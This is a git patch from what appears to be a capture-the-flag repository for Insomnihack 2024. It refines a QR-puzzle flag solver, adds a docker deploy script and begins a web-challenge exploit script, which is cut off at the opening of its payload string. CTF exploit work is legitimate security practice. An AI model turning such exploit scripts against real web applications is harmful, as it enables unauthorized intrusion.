From f4494a73cc69d6fa9e1ec4e8680dd6adcaf34948 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Bu=C3=9Fmann?= Date: Fri, 10 May 2024 13:31:29 +0200 Subject: [PATCH] polished exploits --- .gitignore | 2 ++ insomnihack24/.DS_Store | Bin 6148 -> 6148 bytes insomnihack24/misc/.DS_Store | Bin 0 -> 6148 bytes insomnihack24/misc/puzzled/.DS_Store | Bin 0 -> 6148 bytes insomnihack24/misc/puzzled/puzzled.py | 25 +++++++++++++----- insomnihack24/pwn/promis/.gitignore | 1 + insomnihack24/web/mathematical/.gitignore | 7 +++++ .../web/mathematical/deploy-docker.sh | 3 +++ insomnihack24/web/mathematical/exploit.py | 21 +++++++++++++++ 9 files changed, 53 insertions(+), 6 deletions(-) create mode 100644 insomnihack24/misc/.DS_Store create mode 100644 insomnihack24/misc/puzzled/.DS_Store mode change 100644 => 100755 insomnihack24/misc/puzzled/puzzled.py create mode 100644 insomnihack24/web/mathematical/.gitignore create mode 100755 insomnihack24/web/mathematical/deploy-docker.sh create mode 100644 insomnihack24/web/mathematical/exploit.py diff --git a/.gitignore b/.gitignore index c7ef092..5f332fa 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,5 @@ insomnihack24/mobile/CryptoTest/out/ insomnihack24/misc/puzzled/solutions/ insomnihack24/misc/puzzled/pieces/ + +insomnihack24/web/mathematical/.venv/ diff --git a/insomnihack24/.DS_Store b/insomnihack24/.DS_Store index e28663e658b28d8c831aa1ea16d56bc95056498b..a1de328dd3210f0e877fe04ade0b9e0b4d51dc3b 100644 GIT binary patch delta 118 zcmZoMXfc=|#>B)qu~2NHo}wrV0|Nsi1A_oVQh9MfQcivnkiTOyBhzw5UXT?>>T_YKvRJ_zcWwf7qR338VW=V44VT) HwlD(#-cJ}i delta 84 zcmZoMXfc=|#>B`mu~2NHo}wrd0|Nsi1A_nqLk>e~Qh9MfQcix-#KPs14MbQre`gY4 l-Nf>OaWgvyKL=3H=8w$ZnJ4p$SaJY$fwVDg4iMSG3;=mq6qf)1 diff --git a/insomnihack24/misc/.DS_Store b/insomnihack24/misc/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..b889d5651360e1a56ce9722ef55568cf39a8220d GIT binary patch literal 6148 zcmeHK%}T>S5Z-O8Z7D(y3OxqA7L08vh?fxS3mDOZN=-=6V9b^#F<>d=tS{t~_&m<+ zZop~|oX%wUXlpdoTpY6Q)-u7(aqoeL5B zmG1c$QCQ53-4l^yUX+9jnGgjbgj`=nNgxVGaI+fo<9pY?_ Wr9zwq?J^yZE&`Ge>WG0~VBiD9!A!yc literal 0 HcmV?d00001 diff --git a/insomnihack24/misc/puzzled/.DS_Store b/insomnihack24/misc/puzzled/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..bd08d8a5ffeaa55df0a8444c1a8d6d1e36fdce8f GIT binary patch literal 6148 zcmeHK%}T>S5T0$TZ74zx3OxqA7L08vh?h|73mDOZN=-=7V9ZLB+CwSitS{t~_&m<+ zZp6|Go_m1)(FK(SEOP*ghG8IhZrQJkcG3A zYYYoOgryyX7x8#DvUg8png?+@o~VL28e_`!Wt>KGHjvXa%2chd0~X52Zq4VNzT0-X zJ$KP|=0_d0d)@wGVKw&l501}956NRHUo@Qp|2!o-21|HFW6jK-{Yje0^bVtCWm&<< z3@`)Cz@{)@_P<7RQzp#wWCoalA2UGvgM&)w87wratpgjnK2p3!NP;%KB?ujZp20#R zMo@$L|usI*MDUO3?3+ Wf#?}5G@=KEF9M1NZkT~zW#9vLxJ}dm literal 0 HcmV?d00001 diff --git a/insomnihack24/misc/puzzled/puzzled.py b/insomnihack24/misc/puzzled/puzzled.py old mode 100644 new mode 100755 index 5e7b277..1f17e57 --- a/insomnihack24/misc/puzzled/puzzled.py +++ b/insomnihack24/misc/puzzled/puzzled.py @@ -1,7 +1,10 @@ +#!/Users/cato/Code/Cato447/ctf/insomnihack24/misc/puzzled/.venv/bin/python3 + from PIL import Image import random import itertools from pyzbar.pyzbar import decode +import re def cutPieces(image_path, output_name_scheme): @@ -10,7 +13,7 @@ def cutPieces(image_path, output_name_scheme): # Get the size of the image width, height = original_image.size - assert (width == height) + assert width == height # Calculate the size of each grid cell cell_width = width // 3 @@ -60,7 +63,7 @@ def generateQRCodes(topLeft, topRight, bottomLeft, pieces): i += 1 -def decodeQRCode(image_path): +def decodeQRCode(image_path) -> str | None: image = Image.open(image_path) # Decode the QR code @@ -70,8 +73,9 @@ def decodeQRCode(image_path): if decoded_objects: # Iterate through all the detected QR codes and print their data for obj in decoded_objects: - print("Data:", obj.data.decode('utf-8')) - print("Type:", obj.type) + return obj.data.decode("utf-8") + else: + return None def shuffle3x3GridImage(image_path, output_path): @@ -80,7 +84,7 @@ def shuffle3x3GridImage(image_path, output_path): # Get the size of the image width, height = original_image.size - assert (width == 234 and height == 234) + assert width == 234 and height == 234 # Calculate the size of each grid cell cell_width = width // 3 @@ -121,6 +125,15 @@ def shuffle3x3GridImage(image_path, output_path): # cutPieces("puzzledVersion25QRcode.png", "puzzledVersion25QRcode_piece{}.png") +flag_pattern = r"INS{.*}" +pattern = re.compile(flag_pattern) + paths = [f"solutions/possible_qr{i}.png" for i in range(720)] for path in paths: - decodeQRCode(path) + data = decodeQRCode(path) + if data is None: + continue + possible_flag = pattern.search(data) + if possible_flag: + print(possible_flag.group()) + break diff --git a/insomnihack24/pwn/promis/.gitignore b/insomnihack24/pwn/promis/.gitignore index 931c339..2bd73a3 100644 --- a/insomnihack24/pwn/promis/.gitignore +++ b/insomnihack24/pwn/promis/.gitignore @@ -4,3 +4,4 @@ libc.so.6 gadgets.txt dump.txt promis_patched +*.bndb diff --git a/insomnihack24/web/mathematical/.gitignore b/insomnihack24/web/mathematical/.gitignore new file mode 100644 index 0000000..3580de3 --- /dev/null +++ b/insomnihack24/web/mathematical/.gitignore @@ -0,0 +1,7 @@ +php/ +www/ +docker-compose.yml +.venv/ +flag.txt +Dockerfile + diff --git a/insomnihack24/web/mathematical/deploy-docker.sh b/insomnihack24/web/mathematical/deploy-docker.sh new file mode 100755 index 0000000..b0836e9 --- /dev/null +++ b/insomnihack24/web/mathematical/deploy-docker.sh @@ -0,0 +1,3 @@ +docker-compose rm +docker-compose up -d +docker rmi php_web -f diff --git a/insomnihack24/web/mathematical/exploit.py b/insomnihack24/web/mathematical/exploit.py new file mode 100644 index 0000000..662deb3 --- /dev/null +++ b/insomnihack24/web/mathematical/exploit.py @@ -0,0 +1,21 @@ +#! /usr/bin/env python3 + +import requests + +s = requests.Session() + +payload = """(<<